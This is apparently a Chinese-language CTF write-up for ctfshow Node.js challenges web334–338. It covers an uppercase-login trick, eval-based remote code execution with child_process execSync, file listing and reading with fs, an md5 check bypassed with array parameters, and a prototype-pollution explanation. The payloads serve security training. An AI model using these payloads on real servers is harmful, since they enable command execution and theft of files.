前言:

题目:

web334:

​ 下载附件解压能看到后台登录逻辑和账号密码,要求username的输入不能是大写的CTFSHOW,输入小写即可(touppercase函数会将输入转为大写)

web335:

在浏览器f12发现提示:

eval变量可能存在rce

payload:

1
?eval=require("child_process").execSync('cat fl00g.txt')

web336:

上题payload已经无法使用

可以改用fs模块读取文件。

payload:

1
2
?eval=require("fs").readdirSync(".")  读取当前目录下文件列表
?eval=require("fs").readFileSync("filename") 读取文件filename

另解:

1
/?eval=require("child_process")['exe'%2B'cSync']('ls')

web337:

hint提示传入的ab两个参数需要满足以下条件:

1
a && b && a.length===b.length && a!==b && md5(a+flag)===md5(b+flag)

数组绕过,payload:

1
?a[x]=1&b[x]=2

web338:

首先简单介绍一下js原型链污染:

举个例子

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
//Foo是一个构造函数(类),它拥有一个值为1的属性bar
function Foo(){
this.bar = 1
}


//现在使用原型(prototype)来创建一个show()方法来输出bar属性
Foo.prototype.show = function show(){
console.log(this.bar)
}

let foo = new Foo()
foo.show() //得到输出:1
//使用Foo类实例化的foo对象,可以通过foo.__proto__属性访问Foo类的原型
//也就是说,foo..__proto__指向了Foo.prototype

以上,如果我们修改了foo.__proto__的内容,就有可能修改Foo类的内容(参考:https://blog.csdn.net/qq_41107295/article/details/95789944)

回到题目

源码中使用copy方法将请求赋给user,而secret对象继承了Object.prototype,所以可以通过修改登录的post请求修改prototype,以使得判断条件成立。